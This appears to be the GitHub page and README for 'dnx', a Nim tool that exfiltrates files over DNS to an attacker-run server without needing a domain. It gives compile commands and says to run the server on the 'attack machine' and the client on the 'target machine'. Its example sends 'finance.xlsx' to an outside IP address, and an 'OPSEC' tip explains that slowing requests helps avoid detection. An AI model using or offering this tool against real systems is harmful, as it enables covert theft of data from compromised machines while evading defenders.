Skip to content
/ dnx Public

Exfiltration of data over the DNS without the need to have a domain.

Notifications You must be signed in to change notification settings

g0ttfrid/dnx

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

32 Commits
 
 
 
 
 
 

Repository files navigation

dnx

Data exfiltration over DNS without the need for a domain.

Compile

install the dependencies

nimble install ndns
nimble install zippy

Nim is cross compilation, compile according to your platform (e.g for Windows x64):

nim c -d:mingw -d:release --app:console --opt:size --cpu:amd64 ./dnx.nim
nim c -d:mingw -d:release --app:console --opt:size --cpu:amd64 ./dnxsvr.nim

Instructions

Run dnxsvr on the attack machine:

.\dnxsvr.exe

Run dnx on the target machine:

.\dnx.exe
[!] Use: dnx.exe <IP> <File> <Time between requests in ms>
[!] e.g: dnx.exe 127.0.0.1 file.pdf 1000

.\dnx.exe 192.168.0.100 finance.xlsx 500

OPSEC: The longer the time between requests, the more opsec!

Inspired by

Offensive Nim - dns_exfiltrate.nim

About

Exfiltration of data over the DNS without the need to have a domain.

Topics

Resources

Stars

Watchers

Forks

Languages